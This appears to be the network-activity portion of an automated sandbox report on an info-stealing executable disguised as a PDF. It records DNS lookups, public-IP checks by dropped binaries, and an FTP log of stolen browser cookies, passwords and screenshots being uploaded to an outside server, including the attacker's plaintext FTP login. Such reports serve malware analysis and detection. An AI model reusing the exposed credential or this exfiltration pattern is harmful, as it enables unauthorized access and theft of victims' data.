Sep 25, 2024 14:46:39.218228102 CEST	51370	65054	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:39.218238115 CEST	51370	65054	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:39.218255043 CEST	51370	65054	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:39.218295097 CEST	65054	51370	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:39.218342066 CEST	51370	65054	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:39.222886086 CEST	51370	65054	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:39.222912073 CEST	51370	65054	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:39.222976923 CEST	51370	65054	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:39.222987890 CEST	51370	65054	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:39.223078012 CEST	51370	65054	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:39.223117113 CEST	51370	65054	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:39.223184109 CEST	51370	65054	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:39.223305941 CEST	51370	65054	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:39.223324060 CEST	51370	65054	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:39.223372936 CEST	51370	65054	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:39.223440886 CEST	51370	65054	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:39.223565102 CEST	51370	65054	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:39.223576069 CEST	51370	65054	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:39.223711967 CEST	51370	65054	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:39.223721981 CEST	51370	65054	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:39.223730087 CEST	51370	65054	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:39.223740101 CEST	51370	65054	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:39.223750114 CEST	51370	65054	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:39.224100113 CEST	51370	65054	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:39.224153996 CEST	65054	51370	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:39.249145985 CEST	65051	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:40.157882929 CEST	21	65051	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:40.202295065 CEST	65051	21	192.168.2.9	110.4.45.197

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 25, 2024 14:42:22.750097990 CEST	63915	53	192.168.2.9	1.1.1.1
Sep 25, 2024 14:42:22.758646011 CEST	53	63915	1.1.1.1	192.168.2.9
Sep 25, 2024 14:42:25.345156908 CEST	65287	53	192.168.2.9	1.1.1.1
Sep 25, 2024 14:42:25.602282047 CEST	53	65287	1.1.1.1	192.168.2.9
Sep 25, 2024 14:42:39.789267063 CEST	53	51681	1.1.1.1	192.168.2.9
Sep 25, 2024 14:42:52.602130890 CEST	53	53103	1.1.1.1	192.168.2.9
Sep 25, 2024 14:43:06.584023952 CEST	53	63937	162.159.36.2	192.168.2.9
Sep 25, 2024 14:43:07.114942074 CEST	53	55276	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 25, 2024 14:42:22.750097990 CEST	192.168.2.9	1.1.1.1	0x29c0	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:42:25.345156908 CEST	192.168.2.9	1.1.1.1	0xffdd	Standard query (0)	ftp.haliza.com.my	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Sep 25, 2024 14:42:22.758646011 CEST	1.1.1.1	192.168.2.9	0x29c0	No error (0)	api.ipify.org	172.67.74.152	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:42:22.758646011 CEST	1.1.1.1	192.168.2.9	0x29c0	No error (0)	api.ipify.org	104.26.13.205	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:42:22.758646011 CEST	1.1.1.1	192.168.2.9	0x29c0	No error (0)	api.ipify.org	104.26.12.205	A (IP address)	IN (0x0001)	false
Sep 25, 2024 14:42:25.602282047 CEST	1.1.1.1	192.168.2.9	0xffdd	No error (0)	ftp.haliza.com.my	110.4.45.197	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.ipify.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49709	172.67.74.152	443	8096	C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 12:42:23 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-09-25 12:42:24 UTC	211	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 12:42:23 GMT Content-Type: text/plain Content-Length: 11 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8c8b180bcc8a0ce9-EWR
2024-09-25 12:42:24 UTC	11	IN	Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49714	172.67.74.152	443	764	C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 12:42:29 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-09-25 12:42:29 UTC	211	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 12:42:29 GMT Content-Type: text/plain Content-Length: 11 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8c8b182d19de42fd-EWR
2024-09-25 12:42:29 UTC	11	IN	Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49720	172.67.74.152	443	3236	C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 12:42:36 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-09-25 12:42:36 UTC	211	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 12:42:36 GMT Content-Type: text/plain Content-Length: 11 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8c8b1857b9ae420a-EWR
2024-09-25 12:42:36 UTC	11	IN	Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	55429	172.67.74.152	443	4216	C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 12:42:43 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-09-25 12:42:43 UTC	211	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 12:42:43 GMT Content-Type: text/plain Content-Length: 11 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8c8b18875d5b726e-EWR
2024-09-25 12:42:43 UTC	11	IN	Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

FTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Sep 25, 2024 14:42:26.554580927 CEST	21	49712	110.4.45.197	192.168.2.9	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 26 of 50 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 26 of 50 allowed.220-Local time is now 20:42. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 26 of 50 allowed.220-Local time is now 20:42. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 26 of 50 allowed.220-Local time is now 20:42. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 26 of 50 allowed.220-Local time is now 20:42. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 15 minutes of inactivity.
Sep 25, 2024 14:42:26.554840088 CEST	49712	21	192.168.2.9	110.4.45.197	USER origin@haliza.com.my
Sep 25, 2024 14:42:26.904500961 CEST	21	49712	110.4.45.197	192.168.2.9	331 User origin@haliza.com.my OK. Password required
Sep 25, 2024 14:42:26.943182945 CEST	49712	21	192.168.2.9	110.4.45.197	PASS JesusChrist007$
Sep 25, 2024 14:42:27.321655989 CEST	21	49712	110.4.45.197	192.168.2.9	230 OK. Current restricted directory is /
Sep 25, 2024 14:42:27.661900043 CEST	21	49712	110.4.45.197	192.168.2.9	504 Unknown command
Sep 25, 2024 14:42:27.662194014 CEST	49712	21	192.168.2.9	110.4.45.197	PWD
Sep 25, 2024 14:42:28.006783962 CEST	21	49712	110.4.45.197	192.168.2.9	257 "/" is your current location
Sep 25, 2024 14:42:28.006975889 CEST	49712	21	192.168.2.9	110.4.45.197	TYPE I
Sep 25, 2024 14:42:28.360621929 CEST	21	49712	110.4.45.197	192.168.2.9	200 TYPE is now 8-bit binary
Sep 25, 2024 14:42:28.360764980 CEST	49712	21	192.168.2.9	110.4.45.197	PASV
Sep 25, 2024 14:42:28.715434074 CEST	21	49712	110.4.45.197	192.168.2.9	227 Entering Passive Mode (110,4,45,197,212,212)
Sep 25, 2024 14:42:28.723539114 CEST	49712	21	192.168.2.9	110.4.45.197	STOR CO_Chrome_Default.txt_user-878411_2024_09_25_09_02_24.txt
Sep 25, 2024 14:42:29.608680964 CEST	21	49712	110.4.45.197	192.168.2.9	150 Accepted data connection
Sep 25, 2024 14:42:29.968885899 CEST	21	49712	110.4.45.197	192.168.2.9	226-File successfully transferred 226-File successfully transferred226 0.359 seconds (measured here), 0.79 Kbytes per second
Sep 25, 2024 14:42:29.973295927 CEST	49712	21	192.168.2.9	110.4.45.197	PASV
Sep 25, 2024 14:42:30.320218086 CEST	21	49712	110.4.45.197	192.168.2.9	227 Entering Passive Mode (110,4,45,197,235,243)
Sep 25, 2024 14:42:30.328476906 CEST	49712	21	192.168.2.9	110.4.45.197	STOR CO_Edge Chromium_Default.txt_user-878411_2024_09_25_15_01_02.txt
Sep 25, 2024 14:42:31.384186983 CEST	21	49712	110.4.45.197	192.168.2.9	150 Accepted data connection
Sep 25, 2024 14:42:31.390208006 CEST	21	49712	110.4.45.197	192.168.2.9	150 Accepted data connection
Sep 25, 2024 14:42:31.635230064 CEST	21	49717	110.4.45.197	192.168.2.9	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 25 of 50 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 25 of 50 allowed.220-Local time is now 20:42. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 25 of 50 allowed.220-Local time is now 20:42. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 25 of 50 allowed.220-Local time is now 20:42. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 25 of 50 allowed.220-Local time is now 20:42. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 15 minutes of inactivity.
Sep 25, 2024 14:42:31.635566950 CEST	49717	21	192.168.2.9	110.4.45.197	USER origin@haliza.com.my
Sep 25, 2024 14:42:31.731142998 CEST	21	49712	110.4.45.197	192.168.2.9	226 File successfully transferred
Sep 25, 2024 14:42:31.731556892 CEST	49712	21	192.168.2.9	110.4.45.197	PASV
Sep 25, 2024 14:42:31.962534904 CEST	21	49717	110.4.45.197	192.168.2.9	331 User origin@haliza.com.my OK. Password required
Sep 25, 2024 14:42:31.963149071 CEST	49717	21	192.168.2.9	110.4.45.197	PASS JesusChrist007$
Sep 25, 2024 14:42:32.075933933 CEST	21	49712	110.4.45.197	192.168.2.9	227 Entering Passive Mode (110,4,45,197,218,21)
Sep 25, 2024 14:42:32.089035034 CEST	49712	21	192.168.2.9	110.4.45.197	STOR CO_Firefox_3nxxd8pi.default-release.txt_user-878411_2024_09_25_17_29_42.txt
Sep 25, 2024 14:42:32.325310946 CEST	21	49717	110.4.45.197	192.168.2.9	230 OK. Current restricted directory is /
Sep 25, 2024 14:42:32.652662992 CEST	21	49717	110.4.45.197	192.168.2.9	504 Unknown command
Sep 25, 2024 14:42:32.657428026 CEST	49717	21	192.168.2.9	110.4.45.197	PWD
Sep 25, 2024 14:42:32.911660910 CEST	21	49712	110.4.45.197	192.168.2.9	150 Accepted data connection
Sep 25, 2024 14:42:32.986711025 CEST	21	49717	110.4.45.197	192.168.2.9	257 "/" is your current location
Sep 25, 2024 14:42:32.986973047 CEST	49717	21	192.168.2.9	110.4.45.197	TYPE I
Sep 25, 2024 14:42:33.239876032 CEST	21	49712	110.4.45.197	192.168.2.9	226 File successfully transferred
Sep 25, 2024 14:42:33.316895962 CEST	21	49717	110.4.45.197	192.168.2.9	200 TYPE is now 8-bit binary
Sep 25, 2024 14:42:33.449080944 CEST	49717	21	192.168.2.9	110.4.45.197	PASV
Sep 25, 2024 14:42:33.778009892 CEST	21	49717	110.4.45.197	192.168.2.9	227 Entering Passive Mode (110,4,45,197,226,153)
Sep 25, 2024 14:42:33.783690929 CEST	49717	21	192.168.2.9	110.4.45.197	STOR PW_user-878411_2024_09_25_08_42_29.html
Sep 25, 2024 14:42:34.626370907 CEST	21	49717	110.4.45.197	192.168.2.9	150 Accepted data connection
Sep 25, 2024 14:42:35.034544945 CEST	21	49717	110.4.45.197	192.168.2.9	226-File successfully transferred 226-File successfully transferred226 0.334 seconds (measured here), 1.01 Kbytes per second
Sep 25, 2024 14:42:35.070092916 CEST	49717	21	192.168.2.9	110.4.45.197	PASV
Sep 25, 2024 14:42:35.450246096 CEST	21	49717	110.4.45.197	192.168.2.9	227 Entering Passive Mode (110,4,45,197,247,57)
Sep 25, 2024 14:42:36.071222067 CEST	49717	21	192.168.2.9	110.4.45.197	STOR CO_Chrome_Default.txt_user-878411_2024_09_25_14_11_25.txt
Sep 25, 2024 14:42:36.928812981 CEST	21	49717	110.4.45.197	192.168.2.9	150 Accepted data connection
Sep 25, 2024 14:42:37.270031929 CEST	21	49717	110.4.45.197	192.168.2.9	226-File successfully transferred 226-File successfully transferred226 0.340 seconds (measured here), 0.83 Kbytes per second
Sep 25, 2024 14:42:37.270481110 CEST	49717	21	192.168.2.9	110.4.45.197	PASV
Sep 25, 2024 14:42:37.583060980 CEST	21	49723	110.4.45.197	192.168.2.9	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 23 of 50 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 23 of 50 allowed.220-Local time is now 20:42. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 23 of 50 allowed.220-Local time is now 20:42. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 23 of 50 allowed.220-Local time is now 20:42. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 23 of 50 allowed.220-Local time is now 20:42. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 15 minutes of inactivity.
Sep 25, 2024 14:42:37.583281040 CEST	49723	21	192.168.2.9	110.4.45.197	USER origin@haliza.com.my
Sep 25, 2024 14:42:37.601094007 CEST	21	49717	110.4.45.197	192.168.2.9	227 Entering Passive Mode (110,4,45,197,223,0)
Sep 25, 2024 14:42:37.606585979 CEST	49717	21	192.168.2.9	110.4.45.197	STOR CO_Edge Chromium_Default.txt_user-878411_2024_09_25_16_20_15.txt
Sep 25, 2024 14:42:37.912306070 CEST	21	49723	110.4.45.197	192.168.2.9	331 User origin@haliza.com.my OK. Password required
Sep 25, 2024 14:42:37.912535906 CEST	49723	21	192.168.2.9	110.4.45.197	PASS JesusChrist007$
Sep 25, 2024 14:42:38.265619040 CEST	21	49723	110.4.45.197	192.168.2.9	230 OK. Current restricted directory is /
Sep 25, 2024 14:42:38.431421041 CEST	21	49717	110.4.45.197	192.168.2.9	150 Accepted data connection
Sep 25, 2024 14:42:38.591711998 CEST	21	49723	110.4.45.197	192.168.2.9	504 Unknown command
Sep 25, 2024 14:42:38.592644930 CEST	49723	21	192.168.2.9	110.4.45.197	PWD
Sep 25, 2024 14:42:38.783453941 CEST	21	49717	110.4.45.197	192.168.2.9	226 File successfully transferred
Sep 25, 2024 14:42:38.785008907 CEST	49717	21	192.168.2.9	110.4.45.197	PASV
Sep 25, 2024 14:42:38.938766003 CEST	21	49723	110.4.45.197	192.168.2.9	257 "/" is your current location
Sep 25, 2024 14:42:38.939066887 CEST	49723	21	192.168.2.9	110.4.45.197	TYPE I
Sep 25, 2024 14:42:39.112016916 CEST	21	49717	110.4.45.197	192.168.2.9	227 Entering Passive Mode (110,4,45,197,214,107)
Sep 25, 2024 14:42:39.124619007 CEST	49717	21	192.168.2.9	110.4.45.197	STOR CO_Firefox_3nxxd8pi.default-release.txt_user-878411_2024_09_25_18_08_59.txt
Sep 25, 2024 14:42:39.267407894 CEST	21	49723	110.4.45.197	192.168.2.9	200 TYPE is now 8-bit binary
Sep 25, 2024 14:42:39.267564058 CEST	49723	21	192.168.2.9	110.4.45.197	PASV
Sep 25, 2024 14:42:39.594686031 CEST	21	49723	110.4.45.197	192.168.2.9	227 Entering Passive Mode (110,4,45,197,208,16)
Sep 25, 2024 14:42:39.600522995 CEST	49723	21	192.168.2.9	110.4.45.197	STOR PW_user-878411_2024_09_25_08_42_35.html
Sep 25, 2024 14:42:39.956085920 CEST	21	49717	110.4.45.197	192.168.2.9	150 Accepted data connection
Sep 25, 2024 14:42:40.285213947 CEST	21	49717	110.4.45.197	192.168.2.9	226 File successfully transferred
Sep 25, 2024 14:42:40.450242043 CEST	21	49723	110.4.45.197	192.168.2.9	150 Accepted data connection
Sep 25, 2024 14:42:40.790472984 CEST	21	49723	110.4.45.197	192.168.2.9	226-File successfully transferred 226-File successfully transferred226 0.340 seconds (measured here), 0.99 Kbytes per second
Sep 25, 2024 14:42:40.825231075 CEST	49723	21	192.168.2.9	110.4.45.197	PASV
Sep 25, 2024 14:42:41.153971910 CEST	21	49723	110.4.45.197	192.168.2.9	227 Entering Passive Mode (110,4,45,197,219,125)
Sep 25, 2024 14:42:41.208826065 CEST	49723	21	192.168.2.9	110.4.45.197	STOR CO_Chrome_Default.txt_user-878411_2024_09_25_14_21_28.txt
Sep 25, 2024 14:42:42.020953894 CEST	21	49723	110.4.45.197	192.168.2.9	150 Accepted data connection
Sep 25, 2024 14:42:42.350935936 CEST	21	49723	110.4.45.197	192.168.2.9	226-File successfully transferred 226-File successfully transferred226 0.330 seconds (measured here), 0.86 Kbytes per second
Sep 25, 2024 14:42:42.351356030 CEST	49723	21	192.168.2.9	110.4.45.197	PASV
Sep 25, 2024 14:42:42.679596901 CEST	21	49723	110.4.45.197	192.168.2.9	227 Entering Passive Mode (110,4,45,197,254,20)
Sep 25, 2024 14:42:42.685287952 CEST	49723	21	192.168.2.9	110.4.45.197	STOR CO_Edge Chromium_Default.txt_user-878411_2024_09_25_16_10_37.txt
Sep 25, 2024 14:42:43.585841894 CEST	21	49723	110.4.45.197	192.168.2.9	150 Accepted data connection
Sep 25, 2024 14:42:45.758148909 CEST	21	55430	110.4.45.197	192.168.2.9	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 23 of 50 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 23 of 50 allowed.220-Local time is now 20:42. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 23 of 50 allowed.220-Local time is now 20:42. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 23 of 50 allowed.220-Local time is now 20:42. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 23 of 50 allowed.220-Local time is now 20:42. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 15 minutes of inactivity.
Sep 25, 2024 14:42:45.762273073 CEST	55430	21	192.168.2.9	110.4.45.197	USER origin@haliza.com.my
Sep 25, 2024 14:42:46.101133108 CEST	21	55430	110.4.45.197	192.168.2.9	331 User origin@haliza.com.my OK. Password required
Sep 25, 2024 14:42:46.104639053 CEST	55430	21	192.168.2.9	110.4.45.197	PASS JesusChrist007$
Sep 25, 2024 14:42:46.459978104 CEST	21	55430	110.4.45.197	192.168.2.9	230 OK. Current restricted directory is /
Sep 25, 2024 14:42:46.799571037 CEST	21	55430	110.4.45.197	192.168.2.9	504 Unknown command
Sep 25, 2024 14:42:46.804580927 CEST	55430	21	192.168.2.9	110.4.45.197	PWD
Sep 25, 2024 14:42:47.144850016 CEST	21	55430	110.4.45.197	192.168.2.9	257 "/" is your current location
Sep 25, 2024 14:42:47.145196915 CEST	55430	21	192.168.2.9	110.4.45.197	TYPE I
Sep 25, 2024 14:42:47.487152100 CEST	21	55430	110.4.45.197	192.168.2.9	200 TYPE is now 8-bit binary
Sep 25, 2024 14:42:47.487413883 CEST	55430	21	192.168.2.9	110.4.45.197	PASV
Sep 25, 2024 14:42:47.994132996 CEST	21	55430	110.4.45.197	192.168.2.9	227 Entering Passive Mode (110,4,45,197,213,11)
Sep 25, 2024 14:42:48.223854065 CEST	21	55430	110.4.45.197	192.168.2.9	227 Entering Passive Mode (110,4,45,197,213,11)
Sep 25, 2024 14:42:48.225577116 CEST	55430	21	192.168.2.9	110.4.45.197	STOR PW_user-878411_2024_09_25_08_42_43.html
Sep 25, 2024 14:42:49.076314926 CEST	21	55430	110.4.45.197	192.168.2.9	150 Accepted data connection
Sep 25, 2024 14:42:49.412595034 CEST	21	55430	110.4.45.197	192.168.2.9	226-File successfully transferred 226-File successfully transferred226 0.335 seconds (measured here), 1.00 Kbytes per second
Sep 25, 2024 14:42:49.474122047 CEST	55430	21	192.168.2.9	110.4.45.197	PASV
Sep 25, 2024 14:42:49.805684090 CEST	21	55430	110.4.45.197	192.168.2.9	227 Entering Passive Mode (110,4,45,197,237,107)
Sep 25, 2024 14:42:49.817501068 CEST	55430	21	192.168.2.9	110.4.45.197	STOR CO_Chrome_Default.txt_user-878411_2024_09_25_14_51_24.txt
Sep 25, 2024 14:42:50.657113075 CEST	21	55430	110.4.45.197	192.168.2.9	150 Accepted data connection
Sep 25, 2024 14:42:50.996732950 CEST	21	55430	110.4.45.197	192.168.2.9	226-File successfully transferred 226-File successfully transferred226 0.356 seconds (measured here), 0.79 Kbytes per second
Sep 25, 2024 14:42:50.997369051 CEST	55430	21	192.168.2.9	110.4.45.197	PASV
Sep 25, 2024 14:42:51.330818892 CEST	21	55430	110.4.45.197	192.168.2.9	227 Entering Passive Mode (110,4,45,197,235,45)
Sep 25, 2024 14:42:51.336488008 CEST	55430	21	192.168.2.9	110.4.45.197	STOR CO_Edge Chromium_Default.txt_user-878411_2024_09_25_16_50_22.txt
Sep 25, 2024 14:42:52.186347008 CEST	21	55430	110.4.45.197	192.168.2.9	150 Accepted data connection
Sep 25, 2024 14:42:52.600034952 CEST	21	55430	110.4.45.197	192.168.2.9	226 File successfully transferred
Sep 25, 2024 14:42:52.600404978 CEST	55430	21	192.168.2.9	110.4.45.197	PASV
Sep 25, 2024 14:42:52.978665113 CEST	21	55430	110.4.45.197	192.168.2.9	227 Entering Passive Mode (110,4,45,197,198,13)
Sep 25, 2024 14:42:53.001554966 CEST	55430	21	192.168.2.9	110.4.45.197	STOR CO_Firefox_3nxxd8pi.default-release.txt_user-878411_2024_09_25_18_49_01.txt
Sep 25, 2024 14:42:53.906737089 CEST	21	55430	110.4.45.197	192.168.2.9	150 Accepted data connection
Sep 25, 2024 14:42:54.273318052 CEST	21	55430	110.4.45.197	192.168.2.9	226 File successfully transferred
Sep 25, 2024 14:44:24.828048944 CEST	21	65029	110.4.45.197	192.168.2.9	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 18 of 50 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 18 of 50 allowed.220-Local time is now 20:44. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 18 of 50 allowed.220-Local time is now 20:44. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 18 of 50 allowed.220-Local time is now 20:44. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 18 of 50 allowed.220-Local time is now 20:44. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 15 minutes of inactivity.
Sep 25, 2024 14:44:24.831254959 CEST	65029	21	192.168.2.9	110.4.45.197	USER origin@haliza.com.my
Sep 25, 2024 14:44:25.193777084 CEST	21	65029	110.4.45.197	192.168.2.9	331 User origin@haliza.com.my OK. Password required
Sep 25, 2024 14:44:25.199153900 CEST	65029	21	192.168.2.9	110.4.45.197	PASS JesusChrist007$
Sep 25, 2024 14:44:25.588510990 CEST	21	65029	110.4.45.197	192.168.2.9	230 OK. Current restricted directory is /
Sep 25, 2024 14:44:26.016300917 CEST	21	65029	110.4.45.197	192.168.2.9	504 Unknown command
Sep 25, 2024 14:44:26.016527891 CEST	65029	21	192.168.2.9	110.4.45.197	PWD
Sep 25, 2024 14:44:26.393462896 CEST	21	65029	110.4.45.197	192.168.2.9	257 "/" is your current location
Sep 25, 2024 14:44:26.395428896 CEST	65029	21	192.168.2.9	110.4.45.197	TYPE I
Sep 25, 2024 14:44:26.607925892 CEST	21	65030	110.4.45.197	192.168.2.9	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 19 of 50 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 19 of 50 allowed.220-Local time is now 20:44. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 19 of 50 allowed.220-Local time is now 20:44. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 19 of 50 allowed.220-Local time is now 20:44. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 19 of 50 allowed.220-Local time is now 20:44. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 15 minutes of inactivity.
Sep 25, 2024 14:44:26.611191988 CEST	65030	21	192.168.2.9	110.4.45.197	USER origin@haliza.com.my
Sep 25, 2024 14:44:26.777072906 CEST	21	65029	110.4.45.197	192.168.2.9	200 TYPE is now 8-bit binary
Sep 25, 2024 14:44:26.777359962 CEST	65029	21	192.168.2.9	110.4.45.197	PASV
Sep 25, 2024 14:44:27.000193119 CEST	21	65030	110.4.45.197	192.168.2.9	331 User origin@haliza.com.my OK. Password required
Sep 25, 2024 14:44:27.000380993 CEST	65030	21	192.168.2.9	110.4.45.197	PASS JesusChrist007$
Sep 25, 2024 14:44:27.156686068 CEST	21	65029	110.4.45.197	192.168.2.9	227 Entering Passive Mode (110,4,45,197,200,37)
Sep 25, 2024 14:44:27.169186115 CEST	65029	21	192.168.2.9	110.4.45.197	STOR SC_user-878411_2024_10_27_13_24_39.jpeg
Sep 25, 2024 14:44:27.466305971 CEST	21	65030	110.4.45.197	192.168.2.9	230 OK. Current restricted directory is /
Sep 25, 2024 14:44:27.876199961 CEST	21	65030	110.4.45.197	192.168.2.9	504 Unknown command
Sep 25, 2024 14:44:27.876458883 CEST	65030	21	192.168.2.9	110.4.45.197	PWD
Sep 25, 2024 14:44:28.077284098 CEST	21	65030	110.4.45.197	192.168.2.9	504 Unknown command
Sep 25, 2024 14:44:28.106301069 CEST	21	65029	110.4.45.197	192.168.2.9	150 Accepted data connection
